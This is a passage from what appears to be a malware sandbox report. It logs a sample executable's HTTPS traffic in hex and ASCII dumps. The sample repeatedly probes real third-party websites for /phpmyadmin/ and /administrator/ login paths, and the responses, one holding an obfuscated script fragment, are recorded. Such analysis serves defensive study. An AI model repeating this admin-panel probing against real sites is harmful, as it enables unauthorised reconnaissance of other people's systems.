dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt></div><di
2023-11-26 05:59:32 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 34 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 42 75 79 20 6e 6f Data Ascii: class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">RobinsonLand.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,495</span></p></div><div class="tablet-block-s"><p class="text-center">Buy no

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	56639	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	625	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/phpmyadmin/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	56292	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	485	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 32 37 32 31 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 50 72 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 127217Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EnginePr
2023-11-26 05:59:32 UTC	15899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 3e 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 41 57 2d 39 38 37 39 32 39 36 30 33 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 73 63 72 69 70 74 3e 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 20 67 Data Ascii: <!DOCTYPE html><html lang="en-US"><head >... Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-987929603"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} g
2023-11-26 05:59:32 UTC	16384	IN	Data Raw: 75 76 29 2b 73 28 75 37 2e 75 78 2c 75 37 2e 75 69 29 2b 73 28 75 37 2e 75 41 2c 75 37 2e 59 29 2b 27 6f 72 27 5d 5b 73 28 75 37 2e 75 79 2c 75 37 2e 75 57 29 2b 73 28 75 37 2e 75 6e 2c 75 37 2e 75 46 29 2b 73 28 75 37 2e 75 52 2c 75 37 2e 75 65 29 5d 5b 73 28 75 37 2e 75 6a 2c 75 37 2e 75 6b 29 2b 27 64 27 5d 28 4c 29 2c 76 3d 4b 5b 6d 5d 2c 78 3d 4a 5b 76 5d 7c 7c 54 3b 54 5b 73 28 75 37 2e 75 43 2c 75 37 2e 59 29 2b 73 28 75 37 2e 75 64 2c 75 37 2e 75 73 29 2b 73 28 75 37 2e 75 51 2c 75 37 2e 75 68 29 5d 3d 4c 5b 73 28 75 37 2e 75 49 2c 75 37 2e 75 71 29 2b 27 64 27 5d 28 4c 29 2c 54 5b 73 28 75 37 2e 75 50 2c 75 37 2e 75 65 29 2b 73 28 75 37 2e 75 7a 2c 75 37 2e 75 65 29 2b 27 6e 67 27 5d 3d 78 5b 73 28 75 37 2e 75 4d 2c 75 37 2e 75 55 29 2b 73 28 75 Data Ascii: uv)+s(u7.ux,u7.ui)+s(u7.uA,u7.Y)+'or'][s(u7.uy,u7.uW)+s(u7.un,u7.uF)+s(u7.uR,u7.ue)][s(u7.uj,u7.uk)+'d'](L),v=K[m],x=J[v]\|\|T;T[s(u7.uC,u7.Y)+s(u7.ud,u7.us)+s(u7.uQ,u7.uh)]=L[s(u7.uI,u7.uq)+'d'](L),T[s(u7.uP,u7.ue)+s(u7.uz,u7.ue)+'ng']=x[s(u7.uM,u7.uU)+s(u
2023-11-26 05:59:32 UTC	16384	IN	Data Raw: 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 65 6c 65 6d 65 6e 74 6f 72 2d 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 65 6c 65 6d 65 6e 74 6f 72 2f 63 73 73 2f 63 75 73 74 6f 6d 2d 66 72 6f 6e 74 65 6e 64 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 31 36 39 38 38 34 39 39 33 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 73 77 69 70 65 72 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 74 69 73 77 68 Data Ascii: edia='all' /><link rel='stylesheet' id='elementor-frontend-css' href='https://tiswheels.com/wp-content/uploads/elementor/css/custom-frontend.min.css?ver=1698849933' type='text/css' media='all' /><link rel='stylesheet' id='swiper-css' href='https://tiswh
2023-11-26 05:59:32 UTC	16384	IN	Data Raw: 74 3b 32 26 71 75 6f 74 3b 7d 22 20 64 61 74 61 2d 77 69 64 67 65 74 5f 74 79 70 65 3d 22 6a 65 74 2d 63 61 72 6f 75 73 65 6c 2e 64 65 66 61 75 6c 74 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 6a 65 74 2d 63 61 72 6f 75 73 65 6c 20 6a 65 74 2d 65 6c 65 6d 65 6e 74 73 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 63 61 72 6f 75 73 65 6c 2d 77 72 61 70 20 6a 65 74 2d 65 71 75 61 6c 2d 63 6f 6c 73 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 63 61 72 6f 75 73 65 6c 22 20 64 61 74 61 2d 73 6c 69 64 65 72 5f 6f 70 74 69 6f 6e 73 3d 22 7b 26 71 75 6f 74 3b 61 75 74 Data Ascii: t;2"}" data-widget_type="jet-carousel.default"><div class="elementor-widget-container"><div class="elementor-jet-carousel jet-elements"><div class="jet-carousel-wrap jet-equal-cols"><div class="jet-carousel" data-slider_options="{"aut
2023-11-26 05:59:32 UTC	16384	IN	Data Raw: 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 2d 69 6e 6e 65 72 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 20 6a 65 74 2d 6d 65 6e 75 2d 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 79 70 65 2d 66 61 64 65 20 6a 65 74 2d 6d 65 6e 75 2d 2d 72 6f 6c 6c 2d 75 70 22 3e 3c 6c 69 20 69 64 3d 22 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 2d 38 32 32 22 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 20 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6a 65 74 2d 68 61 73 2d 72 6f 6c 6c 2d 75 70 20 6a 65 Data Ascii: ner"><div class="jet-menu-container"><div class="jet-menu-inner"><ul class="jet-menu jet-menu--animation-type-fade jet-menu--roll-up"><li id="jet-menu-item-822" class="jet-menu-item jet-menu-item-type-post_type jet-menu-item-object-page jet-has-roll-up je
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 50 46 6f 6f 74 65 72 22 3e 09 09 3c 64 69 76 20 64 61 74 61 2d 65 6c 65 6d 65 6e 74 6f 72 2d 74 79 70 65 3d 22 66 6f 6f 74 65 72 22 20 64 61 74 61 2d 65 6c 65 6d 65 6e 74 6f 72 2d 69 64 3d 22 32 32 30 22 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 20 65 6c 65 6d 65 6e 74 6f 72 2d 32 32 30 22 20 64 61 74 61 2d 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 2d 74 79 70 65 3d 22 65 6c 65 6d 65 6e 74 6f 72 5f 6c 69 62 72 61 72 79 22 3e 0a 09 09 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 20 65 6c 65 6d 65 6e 74 6f 72 2d 74 6f 70 2d 73 65 63 74 69 6f 6e 20 65 Data Ascii: e="itemscope" itemtype="http://schema.org/WPFooter"><div data-elementor-type="footer" data-elementor-id="220" class="elementor elementor-220" data-elementor-post-type="elementor_library"><section class="elementor-section elementor-top-section e
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 75 6f 74 3b 73 69 7a 65 26 71 75 6f 74 3b 3a 35 30 2c 26 71 75 6f 74 3b 73 69 7a 65 73 26 71 75 6f 74 3b 3a 5b 5d 7d 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 74 79 70 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 73 63 72 6f 6c 6c 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 64 69 72 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 6e 75 6c 6c 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 66 78 5f 64 69 72 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 6e 75 6c 6c 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 7a 5f 69 6e 64 65 78 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6a 65 74 Data Ascii: uot;size":50,"sizes":[]},"jet_parallax_layout_type":"scroll","jet_parallax_layout_direction":null,"jet_parallax_layout_fx_direction":null,"jet_parallax_layout_z_index":"","jet
2023-11-26 05:59:33 UTC	13014	IN	Data Raw: 2b 30 78 31 37 2a 30 78 31 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 66 28 47 53 2e 49 29 29 2f 28 30 78 31 36 65 66 2b 2d 30 78 32 32 37 30 2b 30 78 62 38 62 29 3b 69 66 28 55 3d 3d 3d 5a 29 62 72 65 61 6b 3b 65 6c 73 65 20 76 5b 27 70 75 73 68 27 5d 28 76 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 52 29 7b 76 5b 27 70 75 73 68 27 5d 28 76 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 46 2c 2d 30 78 31 32 63 34 32 64 2b 30 78 31 32 36 36 34 33 2b 30 78 33 63 2a 30 78 32 64 32 33 29 29 3b 66 75 6e 63 74 69 6f 6e 20 46 28 29 7b 76 61 72 20 5a 39 3d 5b 27 6c 65 63 27 2c 27 64 6e 73 27 2c 27 34 33 31 37 31 36 38 77 68 43 4f 72 5a 27 2c 27 36 32 36 39 38 79 42 4e 6e 4d 50 27 2c 27 74 72 69 27 2c 27 69 6e 64 27 2c 27 2e 63 6f 27 2c 27 65 61 Data Ascii: +0x170x16)+-parseInt(f(GS.I))/(0x16ef+-0x2270+0xb8b);if(U===Z)break;else v['push'](v['shift']());}catch(R){v['push'](v['shift']());}}}(F,-0x12c42d+0x126643+0x3c0x2d23));function F(){var Z9=['lec','dns','4317168whCOrZ','62698yBNnMP','tri','ind','.co','ea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	56484	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	440	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 34 38 30 30 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 30 33 20 44 65 63 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comSet-Cookie: originDirect=true; Max-Age=604800; Expires=Sun, 03 Dec 2023 05:59:32 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	56825	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	178	OUT	GET /administrator HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	1086	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 32 2e 36 36 37 31 30 33 36 34 34 38 35 37 39 32 36 32 37 30 33 30 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978372.66710364485792627030Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Opti
2023-11-26 05:59:32 UTC	166	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-11-26 05:59:32 UTC	207	IN	Data Raw: 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	56935	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	182	OUT	GET /administrator/ HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	662	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 31 37 32 66 66 33 37 37 61 61 34 62 33 62 64 65 31 31 65 32 61 35 30 33 38 33 65 64 31 35 61 37 34 63 63 64 39 33 38 33 33 65 38 30 37 32 31 39 38 64 65 31 64 33 66 35 30 32 38 64 65 66 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: pbid=172ff377aa4b3bde11e2a50383ed15a74ccd93833e8072198de1d3f5028def
2023-11-26 05:59:33 UTC	706	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 